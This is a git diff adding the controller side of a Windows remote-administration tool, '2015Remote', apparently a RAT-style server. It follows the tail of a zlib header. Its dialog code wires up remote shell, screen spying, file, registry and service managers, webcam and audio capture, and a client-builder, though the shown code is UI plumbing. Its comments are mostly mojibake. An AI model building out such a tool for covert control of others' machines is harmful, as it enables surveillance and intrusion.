inflateSync returns Z_OK if a full flush point has been found, Z_BUF_ERROR + if no more input was provided, Z_DATA_ERROR if no flush point has been found, + or Z_STREAM_ERROR if the stream structure was inconsistent. In the success + case, the application may save the current current value of total_in which + indicates where valid compressed data was found. In the error case, the + application may repeatedly call inflateSync, providing more input each time, + until success or end of the input data. +*/ + +ZEXTERN int ZEXPORT inflateReset OF((z_streamp strm)); +/* + This function is equivalent to inflateEnd followed by inflateInit, + but does not free and reallocate all the internal decompression state. + The stream will keep attributes that may have been set by inflateInit2. + + inflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source + stream state was inconsistent (such as zalloc or state being NULL). +*/ + + + /* utility functions */ + +/* + The following utility functions are implemented on top of the + basic stream-oriented functions. To simplify the interface, some + default options are assumed (compression level and memory usage, + standard memory allocation functions). The source code of these + utility functions can easily be modified if you need special options. +*/ + +ZEXTERN int ZEXPORT compress OF((Bytef *dest, uLongf *destLen, + const Bytef *source, uLong sourceLen)); +/* + Compresses the source buffer into the destination buffer. sourceLen is + the byte length of the source buffer. Upon entry, destLen is the total + size of the destination buffer, which must be at least 0.1% larger than + sourceLen plus 12 bytes. Upon exit, destLen is the actual size of the + compressed buffer. + This function can be used to compress a whole file at once if the + input file is mmap'ed. + compress returns Z_OK if success, Z_MEM_ERROR if there was not + enough memory, Z_BUF_ERROR if there was not enough room in the output + buffer. +*/ + +ZEXTERN int ZEXPORT compress2 OF((Bytef *dest, uLongf *destLen, + const Bytef *source, uLong sourceLen, + int level)); +/* + Compresses the source buffer into the destination buffer. The level + parameter has the same meaning as in deflateInit. sourceLen is the byte + length of the source buffer. Upon entry, destLen is the total size of the + destination buffer, which must be at least 0.1% larger than sourceLen plus + 12 bytes. Upon exit, destLen is the actual size of the compressed buffer. + + compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough + memory, Z_BUF_ERROR if there was not enough room in the output buffer, + Z_STREAM_ERROR if the level parameter is invalid. +*/ + +ZEXTERN int ZEXPORT uncompress OF((Bytef *dest, uLongf *destLen, + const Bytef *source, uLong sourceLen)); +/* + Decompresses the source buffer into the destination buffer. sourceLen is + the byte length of the source buffer. Upon entry, destLen is the total + size of the destination buffer, which must be large enough to hold the + entire uncompressed data. (The size of the uncompressed data must have + been saved previously by the compressor and transmitted to the decompressor + by some mechanism outside the scope of this compression library.) + Upon exit, destLen is the actual size of the compressed buffer. + This function can be used to decompress a whole file at once if the + input file is mmap'ed. + + uncompress returns Z_OK if success, Z_MEM_ERROR if there was not + enough memory, Z_BUF_ERROR if there was not enough room in the output + buffer, or Z_DATA_ERROR if the input data was corrupted. +*/ + + +typedef voidp gzFile; + +ZEXTERN gzFile ZEXPORT gzopen OF((const char *path, const char *mode)); +/* + Opens a gzip (.gz) file for reading or writing. The mode parameter + is as in fopen ("rb" or "wb") but can also include a compression level + ("wb9") or a strategy: 'f' for filtered data as in "wb6f", 'h' for + Huffman only compression as in "wb1h". (See the description + of deflateInit2 for more information about the strategy parameter.) + + gzopen can be used to read a file which is not in gzip format; in this + case gzread will directly read from the file without decompression. + + gzopen returns NULL if the file could not be opened or if there was + insufficient memory to allocate the (de)compression state; errno + can be checked to distinguish the two cases (if errno is zero, the + zlib error is Z_MEM_ERROR). */ + +ZEXTERN gzFile ZEXPORT gzdopen OF((int fd, const char *mode)); +/* + gzdopen() associates a gzFile with the file descriptor fd. File + descriptors are obtained from calls like open, dup, creat, pipe or + fileno (in the file has been previously opened with fopen). + The mode parameter is as in gzopen. + The next call of gzclose on the returned gzFile will also close the + file descriptor fd, just like fclose(fdopen(fd), mode) closes the file + descriptor fd. If you want to keep fd open, use gzdopen(dup(fd), mode). + gzdopen returns NULL if there was insufficient memory to allocate + the (de)compression state. +*/ + +ZEXTERN int ZEXPORT gzsetparams OF((gzFile file, int level, int strategy)); +/* + Dynamically update the compression level or strategy. See the description + of deflateInit2 for the meaning of these parameters. + gzsetparams returns Z_OK if success, or Z_STREAM_ERROR if the file was not + opened for writing. +*/ + +ZEXTERN int ZEXPORT gzread OF((gzFile file, voidp buf, unsigned len)); +/* + Reads the given number of uncompressed bytes from the compressed file. + If the input file was not in gzip format, gzread copies the given number + of bytes into the buffer. + gzread returns the number of uncompressed bytes actually read (0 for + end of file, -1 for error). */ + +ZEXTERN int ZEXPORT gzwrite OF((gzFile file, + const voidp buf, unsigned len)); +/* + Writes the given number of uncompressed bytes into the compressed file. + gzwrite returns the number of uncompressed bytes actually written + (0 in case of error). +*/ + +ZEXTERN int ZEXPORTVA gzprintf OF((gzFile file, const char *format, ...)); +/* + Converts, formats, and writes the args to the compressed file under + control of the format string, as in fprintf. gzprintf returns the number of + uncompressed bytes actually written (0 in case of error). +*/ + +ZEXTERN int ZEXPORT gzputs OF((gzFile file, const char *s)); +/* + Writes the given null-terminated string to the compressed file, excluding + the terminating null character. + gzputs returns the number of characters written, or -1 in case of error. +*/ + +ZEXTERN char * ZEXPORT gzgets OF((gzFile file, char *buf, int len)); +/* + Reads bytes from the compressed file until len-1 characters are read, or + a newline character is read and transferred to buf, or an end-of-file + condition is encountered. The string is then terminated with a null + character. + gzgets returns buf, or Z_NULL in case of error. +*/ + +ZEXTERN int ZEXPORT gzputc OF((gzFile file, int c)); +/* + Writes c, converted to an unsigned char, into the compressed file. + gzputc returns the value that was written, or -1 in case of error. +*/ + +ZEXTERN int ZEXPORT gzgetc OF((gzFile file)); +/* + Reads one byte from the compressed file. gzgetc returns this byte + or -1 in case of end of file or error. +*/ + +ZEXTERN int ZEXPORT gzflush OF((gzFile file, int flush)); +/* + Flushes all pending output into the compressed file. The parameter + flush is as in the deflate() function. The return value is the zlib + error number (see function gzerror below). gzflush returns Z_OK if + the flush parameter is Z_FINISH and all output could be flushed. + gzflush should be called only when strictly necessary because it can + degrade compression. +*/ + +ZEXTERN z_off_t ZEXPORT gzseek OF((gzFile file, + z_off_t offset, int whence)); +/* + Sets the starting position for the next gzread or gzwrite on the + given compressed file. The offset represents a number of bytes in the + uncompressed data stream. The whence parameter is defined as in lseek(2); + the value SEEK_END is not supported. + If the file is opened for reading, this function is emulated but can be + extremely slow. If the file is opened for writing, only forward seeks are + supported; gzseek then compresses a sequence of zeroes up to the new + starting position. + + gzseek returns the resulting offset location as measured in bytes from + the beginning of the uncompressed stream, or -1 in case of error, in + particular if the file is opened for writing and the new starting position + would be before the current position. +*/ + +ZEXTERN int ZEXPORT gzrewind OF((gzFile file)); +/* + Rewinds the given file. This function is supported only for reading. + + gzrewind(file) is equivalent to (int)gzseek(file, 0L, SEEK_SET) +*/ + +ZEXTERN z_off_t ZEXPORT gztell OF((gzFile file)); +/* + Returns the starting position for the next gzread or gzwrite on the + given compressed file. This position represents a number of bytes in the + uncompressed data stream. + + gztell(file) is equivalent to gzseek(file, 0L, SEEK_CUR) +*/ + +ZEXTERN int ZEXPORT gzeof OF((gzFile file)); +/* + Returns 1 when EOF has previously been detected reading the given + input stream, otherwise zero. +*/ + +ZEXTERN int ZEXPORT gzclose OF((gzFile file)); +/* + Flushes all pending output if necessary, closes the compressed file + and deallocates all the (de)compression state. The return value is the zlib + error number (see function gzerror below). +*/ + +ZEXTERN const char * ZEXPORT gzerror OF((gzFile file, int *errnum)); +/* + Returns the error message for the last error which occurred on the + given compressed file. errnum is set to zlib error number. If an + error occurred in the file system and not in the compression library, + errnum is set to Z_ERRNO and the application may consult errno + to get the exact error code. +*/ + + /* checksum functions */ + +/* + These functions are not related to compression but are exported + anyway because they might be useful in applications using the + compression library. +*/ + +ZEXTERN uLong ZEXPORT adler32 OF((uLong adler, const Bytef *buf, uInt len)); + +/* + Update a running Adler-32 checksum with the bytes buf[0..len-1] and + return the updated checksum. If buf is NULL, this function returns + the required initial value for the checksum. + An Adler-32 checksum is almost as reliable as a CRC32 but can be computed + much faster. Usage example: + + uLong adler = adler32(0L, Z_NULL, 0); + + while (read_buffer(buffer, length) != EOF) { + adler = adler32(adler, buffer, length); + } + if (adler != original_adler) error(); +*/ + +ZEXTERN uLong ZEXPORT crc32 OF((uLong crc, const Bytef *buf, uInt len)); +/* + Update a running crc with the bytes buf[0..len-1] and return the updated + crc. If buf is NULL, this function returns the required initial value + for the crc. Pre- and post-conditioning (one's complement) is performed + within this function so it shouldn't be done by the application. + Usage example: + + uLong crc = crc32(0L, Z_NULL, 0); + + while (read_buffer(buffer, length) != EOF) { + crc = crc32(crc, buffer, length); + } + if (crc != original_crc) error(); +*/ + + + /* various hacks, don't look :) */ + +/* deflateInit and inflateInit are macros to allow checking the zlib version + * and the compiler's view of z_stream: + */ +ZEXTERN int ZEXPORT deflateInit_ OF((z_streamp strm, int level, + const char *version, int stream_size)); +ZEXTERN int ZEXPORT inflateInit_ OF((z_streamp strm, + const char *version, int stream_size)); +ZEXTERN int ZEXPORT deflateInit2_ OF((z_streamp strm, int level, int method, + int windowBits, int memLevel, + int strategy, const char *version, + int stream_size)); +ZEXTERN int ZEXPORT inflateInit2_ OF((z_streamp strm, int windowBits, + const char *version, int stream_size)); +#define deflateInit(strm, level) \ + deflateInit_((strm), (level), ZLIB_VERSION, sizeof(z_stream)) +#define inflateInit(strm) \ + inflateInit_((strm), ZLIB_VERSION, sizeof(z_stream)) +#define deflateInit2(strm, level, method, windowBits, memLevel, strategy) \ + deflateInit2_((strm),(level),(method),(windowBits),(memLevel),\ + (strategy), ZLIB_VERSION, sizeof(z_stream)) +#define inflateInit2(strm, windowBits) \ + inflateInit2_((strm), (windowBits), ZLIB_VERSION, sizeof(z_stream)) + + +#if !defined(_Z_UTIL_H) && !defined(NO_DUMMY_DECL) + struct internal_state {int dummy;}; /* hack for buggy compilers */ +#endif + +ZEXTERN const char * ZEXPORT zError OF((int err)); +ZEXTERN int ZEXPORT inflateSyncPoint OF((z_streamp z)); +ZEXTERN const uLongf * ZEXPORT get_crc_table OF((void)); + +#ifdef __cplusplus +} +#endif + +#endif /* _ZLIB_H */ diff --git a/server/2015Remote.sln b/server/2015Remote.sln new file mode 100644 index 0000000..e364588 --- /dev/null +++ b/server/2015Remote.sln @@ -0,0 +1,35 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2012 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "2015Remote", "2015Remote\2015Remote.vcxproj", "{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "..\client\ClientDll.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "..\client\TestRun.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}" + ProjectSection(ProjectDependencies) = postProject + {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} + EndProjectSection +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|Win32.ActiveCfg = Debug|Win32 + {D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Debug|Win32.Build.0 = Debug|Win32 + {D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|Win32.ActiveCfg = Release|Win32 + {D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}.Release|Win32.Build.0 = Release|Win32 + {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|Win32.ActiveCfg = Debug|Win32 + {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Debug|Win32.Build.0 = Debug|Win32 + {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|Win32.ActiveCfg = Release|Win32 + {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}.Release|Win32.Build.0 = Release|Win32 + {B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|Win32.ActiveCfg = Debug|Win32 + {B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Debug|Win32.Build.0 = Debug|Win32 + {B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|Win32.ActiveCfg = Release|Win32 + {B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/server/2015Remote/2015Remote.cpp b/server/2015Remote/2015Remote.cpp new file mode 100644 index 0000000..d1dcffd --- /dev/null +++ b/server/2015Remote/2015Remote.cpp @@ -0,0 +1,92 @@ + +// 2015Remote.cpp : ӦóΪ +// + +#include "stdafx.h" +#include "2015Remote.h" +#include "2015RemoteDlg.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#endif + + +// CMy2015RemoteApp + +BEGIN_MESSAGE_MAP(CMy2015RemoteApp, CWinApp) + ON_COMMAND(ID_HELP, &CWinApp::OnHelp) +END_MESSAGE_MAP() + + +// CMy2015RemoteApp + +CMy2015RemoteApp::CMy2015RemoteApp() +{ + // ֧ + m_dwRestartManagerSupportFlags = AFX_RESTART_MANAGER_SUPPORT_RESTART; + + // TODO: ڴ˴ӹ룬 + // Ҫijʼ InitInstance +} + + +// Ψһһ CMy2015RemoteApp + +CMy2015RemoteApp theApp; + + +// CMy2015RemoteApp ʼ + +BOOL CMy2015RemoteApp::InitInstance() +{ + // һ Windows XP ϵӦó嵥ָҪ + // ʹ ComCtl32.dll 汾 6 ߰汾ÿӻʽ + //Ҫ InitCommonControlsEx()򣬽޷ڡ + INITCOMMONCONTROLSEX InitCtrls; + InitCtrls.dwSize = sizeof(InitCtrls); + // ΪҪӦóʹõ + // ؼࡣ + InitCtrls.dwICC = ICC_WIN95_CLASSES; + InitCommonControlsEx(&InitCtrls); + + CWinApp::InitInstance(); + + AfxEnableControlContainer(); + + // shell ԷԻ + // κ shell ͼؼ shell бͼؼ + CShellManager *pShellManager = new CShellManager; + + // ׼ʼ + // δʹЩܲϣС + // տִļĴСӦƳ + // Ҫضʼ + // ڴ洢õע + // TODO: Ӧʵ޸ĸַ + // ޸Ϊ˾֯ + SetRegistryKey(_T("Remoter")); + + CMy2015RemoteDlg dlg; + m_pMainWnd = &dlg; + INT_PTR nResponse = dlg.DoModal(); + if (nResponse == IDOK) + { + // TODO: ڴ˷ôʱ + // ȷرնԻĴ + } + else if (nResponse == IDCANCEL) + { + // TODO: ڴ˷ôʱ + // ȡرնԻĴ + } + + // ɾ洴 shell + if (pShellManager != NULL) + { + delete pShellManager; + } + + // ڶԻѹرգԽ FALSE Ա˳Ӧó + // ӦóϢá + return FALSE; +} diff --git a/server/2015Remote/2015Remote.h b/server/2015Remote/2015Remote.h new file mode 100644 index 0000000..f9b23c9 --- /dev/null +++ b/server/2015Remote/2015Remote.h @@ -0,0 +1,32 @@ + +// 2015Remote.h : PROJECT_NAME Ӧóͷļ +// + +#pragma once + +#ifndef __AFXWIN_H__ + #error "ڰļ֮ǰstdafx.h PCH ļ" +#endif + +#include "resource.h" // +#include "iniFile.h" + +// CMy2015RemoteApp: +// йشʵ֣ 2015Remote.cpp +// + +class CMy2015RemoteApp : public CWinApp +{ +public: + CMy2015RemoteApp(); + iniFile m_iniFile; +// д +public: + virtual BOOL InitInstance(); + +// ʵ + + DECLARE_MESSAGE_MAP() +}; + +extern CMy2015RemoteApp theApp; \ No newline at end of file diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc new file mode 100644 index 0000000..2dbc73b Binary files /dev/null and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015Remote.vcxproj b/server/2015Remote/2015Remote.vcxproj new file mode 100644 index 0000000..a2c76de --- /dev/null +++ b/server/2015Remote/2015Remote.vcxproj @@ -0,0 +1,189 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + + {D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5} + My2015Remote + MFCProj + + + + Application + true + MultiByte + Static + v110 + + + Application + false + true + MultiByte + Static + v110 + + + + + + + + + + + + + true + + + false + + + + Use + Level3 + Disabled + WIN32;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + + + Windows + true + zlib.lib;%(AdditionalDependencies) + LIBCMT.lib;%(IgnoreSpecificDefaultLibraries) + + + false + true + _DEBUG;%(PreprocessorDefinitions) + + + 0x0804 + _DEBUG;%(PreprocessorDefinitions) + $(IntDir);%(AdditionalIncludeDirectories) + + + + + Level3 + Use + MaxSpeed + true + true + WIN32;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) + + + Windows + true + true + true + zlib.lib + /SAFESEH:NO %(AdditionalOptions) + + + false + true + NDEBUG;%(PreprocessorDefinitions) + + + 0x0804 + NDEBUG;%(PreprocessorDefinitions) + $(IntDir);%(AdditionalIncludeDirectories) + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Create + Create + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/server/2015Remote/2015Remote.vcxproj.filters b/server/2015Remote/2015Remote.vcxproj.filters new file mode 100644 index 0000000..409854f --- /dev/null +++ b/server/2015Remote/2015Remote.vcxproj.filters @@ -0,0 +1,275 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + {c30c6669-7ee9-446c-9bfb-e472d534e2f2} + + + {7384a2b0-7e54-4b4f-8f1e-399a170b0893} + + + {13f8046a-69f8-4f11-a24b-6bc31c195200} + + + {b8c1bcef-f319-4d72-be70-99c37a83bf9a} + + + {247eff7d-6fd0-43dd-8c7e-263aad0eed5b} + + + {89df7039-00e9-4694-91f8-fc5f023e6321} + + + {5264e449-f09b-420d-9c72-ff8151bee746} + + + {52707111-f42b-41c9-b02d-ded6b27a2b7e} + + + {b8b47b31-1b3f-420a-aebd-f9f6aef16177} + + + {98bb3949-95d3-4ae1-9e7a-51344815555a} + + + {ba31583e-3d2b-4f34-ac0f-9589567fccd9} + + + {b3a92075-6f32-4114-8c59-b0fb0042ed03} + + + {604ae8b3-7d79-4ba3-955d-8244c26c9218} + + + {9cd8e611-2137-4553-b9a9-121877b5e33c} + + + {99dc4626-9f3c-4a3f-bfbd-03c6748fe053} + + + {4fbc083b-8252-4012-836d-6757122c7de7} + + + + + + 资源文件 + + + 资源文件 + + + 资源文件 + + + 资源文件 + + + 资源文件 + + + 资源文件 + + + 资源文件 + + + 资源文件 + + + 资源文件 + + + 资源文件 + + + 资源文件 + + + 资源文件 + + + 资源文件 + + + 资源文件 + + + 资源文件 + + + 资源文件 + + + + + 头文件 + + + 头文件 + + + 头文件 + + + 主Dlg + + + 真彩Bar + + + 设置Dlg + + + 设置Dlg + + + 通信类 + + + CPU + + + 缓冲区 + + + 缓冲区 + + + 缓冲区 + + + 远程控制 + + + 远程文件 + + + 头文件 + + + 主Dlg + + + 远程文件 + + + 头文件 + + + 即时消息 + + + 远程终端 + + + 远程系统管理 + + + 远程音频 + + + 生成客户端 + + + 远程注册表 + + + 远程服务 + + + 远程视频 + + + 远程音频 + + + + + 源文件 + + + 源文件 + + + 主Dlg + + + 真彩Bar + + + 设置Dlg + + + 设置Dlg + + + 通信类 + + + CPU + + + 缓冲区 + + + 远程控制 + + + 远程文件 + + + 源文件 + + + 远程文件 + + + 即时消息 + + + 远程终端 + + + 远程系统管理 + + + 远程文件 + + + 远程音频 + + + 生成客户端 + + + 远程注册表 + + + 远程服务 + + + 远程视频 + + + 远程音频 + + + + + 资源文件 + + + \ No newline at end of file diff --git a/server/2015Remote/2015Remote.vcxproj.user b/server/2015Remote/2015Remote.vcxproj.user new file mode 100644 index 0000000..ace9a86 --- /dev/null +++ b/server/2015Remote/2015Remote.vcxproj.user @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp new file mode 100644 index 0000000..6ec2340 --- /dev/null +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -0,0 +1,1227 @@ + +// 2015RemoteDlg.cpp : ʵļ +// + +#include "stdafx.h" +#include "2015Remote.h" +#include "2015RemoteDlg.h" +#include "afxdialogex.h" +#include "SettingDlg.h" +#include "IOCPServer.h" +#include "ScreenSpyDlg.h" +#include "FileManagerDlg.h" +#include "TalkDlg.h" +#include "ShellDlg.h" +#include "SystemDlg.h" +#include "BuildDlg.h" +#include "AudioDlg.h" +#include "RegisterDlg.h" +#include "ServicesDlg.h" +#include "VideoDlg.h" + +#ifdef _DEBUG +#define new DEBUG_NEW +#endif + +#define UM_ICONNOTIFY WM_USER+100 +enum +{ + ONLINELIST_IP=0, //IP˳ + ONLINELIST_ADDR, //ַ + ONLINELIST_COMPUTER_NAME, ///ע + ONLINELIST_OS, //ϵͳ + ONLINELIST_CPU, //CPU + ONLINELIST_VIDEO, //ͷ() + ONLINELIST_PING //PING(Է) +}; + + +typedef struct +{ + char* szTitle; //б + int nWidth; //бĿ +}COLUMNSTRUCT; + + +COLUMNSTRUCT g_Column_Data_Online[] = +{ + {"IP", 148 }, + {"˿", 150 }, + {"/ע", 160 }, + {"ϵͳ", 128 }, + {"CPU", 80 }, + {"ͷ", 81 }, + {"PING", 151 } +}; + +// Ӧó򡰹ڡ˵ CAboutDlg Ի +int g_Column_Count_Online = 7; + +COLUMNSTRUCT g_Column_Data_Message[] = +{ + {"Ϣ", 200 }, + {"ʱ", 200 }, + {"Ϣ", 490 } +}; + +int g_Column_Count_Message = 3; //бĸ + + +int g_Column_Online_Width = 0; +int g_Column_Message_Width = 0; +IOCPServer *m_iocpServer = NULL; +CMy2015RemoteDlg* g_2015RemoteDlg = NULL; + +static UINT Indicators[] = +{ + IDR_STATUSBAR_STRING +}; + +class CAboutDlg : public CDialogEx +{ +public: + CAboutDlg(); + + // Ի + enum { IDD = IDD_ABOUTBOX }; + +protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧ + + // ʵ +protected: + DECLARE_MESSAGE_MAP() +}; + +CAboutDlg::CAboutDlg() : CDialogEx(CAboutDlg::IDD) +{ +} + +void CAboutDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialogEx::DoDataExchange(pDX); +} + +BEGIN_MESSAGE_MAP(CAboutDlg, CDialogEx) +END_MESSAGE_MAP() + + +// CMy2015RemoteDlg Ի + + +CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent /*=NULL*/) + : CDialogEx(CMy2015RemoteDlg::IDD, pParent) +{ + m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME); + + m_bmOnline[0].LoadBitmap(IDB_BITMAP_ONLINE); + m_bmOnline[1].LoadBitmap(IDB_BITMAP_ONLINE); + + m_iCount = 0; + InitializeCriticalSection(&m_cs); +} + +void CMy2015RemoteDlg::DoDataExchange(CDataExchange* pDX) +{ + CDialogEx::DoDataExchange(pDX); + DDX_Control(pDX, IDC_ONLINE, m_CList_Online); + DDX_Control(pDX, IDC_MESSAGE, m_CList_Message); +} + +BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) + ON_WM_SYSCOMMAND() + ON_WM_PAINT() + ON_WM_QUERYDRAGICON() + ON_WM_SIZE() + ON_WM_TIMER() + ON_WM_CLOSE() + ON_NOTIFY(NM_RCLICK, IDC_ONLINE, &CMy2015RemoteDlg::OnNMRClickOnline) + ON_COMMAND(ID_ONLINE_MESSAGE, &CMy2015RemoteDlg::OnOnlineMessage) + ON_COMMAND(ID_ONLINE_DELETE, &CMy2015RemoteDlg::OnOnlineDelete) + ON_COMMAND(IDM_ONLINE_ABOUT,&CMy2015RemoteDlg::OnAbout) + + ON_COMMAND(IDM_ONLINE_CMD, &CMy2015RemoteDlg::OnOnlineCmdManager) + ON_COMMAND(IDM_ONLINE_PROCESS, &CMy2015RemoteDlg::OnOnlineProcessManager) + ON_COMMAND(IDM_ONLINE_WINDOW, &CMy2015RemoteDlg::OnOnlineWindowManager) + ON_COMMAND(IDM_ONLINE_DESKTOP, &CMy2015RemoteDlg::OnOnlineDesktopManager) + ON_COMMAND(IDM_ONLINE_FILE, &CMy2015RemoteDlg::OnOnlineFileManager) + ON_COMMAND(IDM_ONLINE_AUDIO, &CMy2015RemoteDlg::OnOnlineAudioManager) + ON_COMMAND(IDM_ONLINE_VIDEO, &CMy2015RemoteDlg::OnOnlineVideoManager) + ON_COMMAND(IDM_ONLINE_SERVER, &CMy2015RemoteDlg::OnOnlineServerManager) + ON_COMMAND(IDM_ONLINE_REGISTER, &CMy2015RemoteDlg::OnOnlineRegisterManager) + ON_COMMAND(IDM_ONLINE_BUILD, &CMy2015RemoteDlg::OnOnlineBuildClient) //Client + ON_MESSAGE(UM_ICONNOTIFY, (LRESULT (__thiscall CWnd::* )(WPARAM,LPARAM))OnIconNotify) + ON_COMMAND(IDM_NOTIFY_SHOW, &CMy2015RemoteDlg::OnNotifyShow) + ON_COMMAND(ID_NOTIFY_EXIT, &CMy2015RemoteDlg::OnNotifyExit) + ON_COMMAND(ID_MAIN_SET, &CMy2015RemoteDlg::OnMainSet) + ON_COMMAND(ID_MAIN_EXIT, &CMy2015RemoteDlg::OnMainExit) + ON_MESSAGE(WM_USERTOONLINELIST, OnUserToOnlineList) + ON_MESSAGE(WM_USEROFFLINEMSG, OnUserOfflineMsg) + ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog) + ON_MESSAGE(WM_OPENFILEMANAGERDIALOG, OnOpenFileManagerDialog) + ON_MESSAGE(WM_OPENTALKDIALOG, OnOpenTalkDialog) + ON_MESSAGE(WM_OPENSHELLDIALOG, OnOpenShellDialog) + ON_MESSAGE(WM_OPENSYSTEMDIALOG, OnOpenSystemDialog) + ON_MESSAGE(WM_OPENAUDIODIALOG, OnOpenAudioDialog) + ON_MESSAGE(WM_OPENSERVICESDIALOG, OnOpenServicesDialog) + ON_MESSAGE(WM_OPENREGISTERDIALOG, OnOpenRegisterDialog) + ON_MESSAGE(WM_OPENWEBCAMDIALOG, OnOpenVideoDialog) +END_MESSAGE_MAP() + + +// CMy2015RemoteDlg Ϣ +void CMy2015RemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam) +{ + switch ((UINT)lParam) + { + case WM_LBUTTONDOWN: + case WM_LBUTTONDBLCLK: + { + if (!IsWindowVisible()) + { + ShowWindow(SW_SHOW); + } + else + { + ShowWindow(SW_HIDE); + } + break; + } + + case WM_RBUTTONDOWN: + { + CMenu Menu; + Menu.LoadMenu(IDR_MENU_NOTIFY); + CPoint Point; + GetCursorPos(&Point); + SetForegroundWindow(); //õǰ + Menu.GetSubMenu(0)->TrackPopupMenu( + TPM_LEFTBUTTON|TPM_RIGHTBUTTON, + Point.x, Point.y, this, NULL); + + break; + } + } +} + +VOID CMy2015RemoteDlg::CreateSolidMenu() +{ + HMENU hMenu; //SDK C MFC C++ + hMenu = LoadMenu(NULL,MAKEINTRESOURCE(IDR_MENU_MAIN)); //˵Դ + ::SetMenu(this->GetSafeHwnd(),hMenu); //Ϊò˵ + ::DrawMenuBar(this->GetSafeHwnd()); //ʾ˵ +} + +VOID CMy2015RemoteDlg::CreatStatusBar() +{ + if (!m_StatusBar.Create(this) || + !m_StatusBar.SetIndicators(Indicators, + sizeof(Indicators)/sizeof(UINT))) //״ַ̬ԴID + { + return ; + } + + CRect rect; + GetWindowRect(&rect); + rect.bottom+=20; + MoveWindow(rect); +} + +VOID CMy2015RemoteDlg::CreateNotifyBar() +{ + m_Nid.cbSize = sizeof(NOTIFYICONDATA); //Сֵ + m_Nid.hWnd = m_hWnd; // DZڸCWnd + m_Nid.uID = IDR_MAINFRAME; //icon ID + m_Nid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP; //ӵе״̬ + m_Nid.uCallbackMessage = UM_ICONNOTIFY; //صϢ + m_Nid.hIcon = m_hIcon; //icon + CString strTips ="2015RemoteԶЭ........."; //ʾ + lstrcpyn(m_Nid.szTip, (LPCSTR)strTips, sizeof(m_Nid.szTip) / sizeof(m_Nid.szTip[0])); + Shell_NotifyIcon(NIM_ADD, &m_Nid); //ʾ +} + +VOID CMy2015RemoteDlg::CreateToolBar() +{ + if (!m_ToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP + | CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC) || + !m_ToolBar.LoadToolBar(IDR_TOOLBAR_MAIN)) //һ Դ + { + return; + } + m_ToolBar.LoadTrueColorToolBar + ( + 48, //ʹ + IDB_BITMAP_MAIN, + IDB_BITMAP_MAIN, + IDB_BITMAP_MAIN + ); //ǵλͼԴ + RECT Rect,RectMain; + GetWindowRect(&RectMain); //õڵĴС + Rect.left=0; + Rect.top=0; + Rect.bottom=80; + Rect.right=RectMain.right-RectMain.left+10; + m_ToolBar.MoveWindow(&Rect,TRUE); + + m_ToolBar.SetButtonText(0,"ն˹"); //λͼļ + m_ToolBar.SetButtonText(1,"̹"); + m_ToolBar.SetButtonText(2,"ڹ"); + 